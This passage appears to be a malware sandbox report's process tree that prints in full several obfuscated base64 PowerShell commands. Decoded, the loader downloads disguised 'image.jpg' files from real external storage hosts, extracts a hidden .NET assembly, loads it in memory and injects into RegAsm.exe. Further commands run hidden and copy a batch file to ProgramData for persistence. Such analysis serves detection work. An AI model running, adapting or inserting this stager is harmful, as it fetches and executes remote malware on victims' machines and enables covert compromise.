QAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''h@'',''d'')));iex $OWjuxD\"'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('h@','d')));iex $OWjuxD"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\.bat' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5868
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2976
- - C:\Windows\system32\taskkill.exe
    "taskkill" /PID 2976 /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:228
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''h@'',''d'')));iex $OWjuxD\"'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
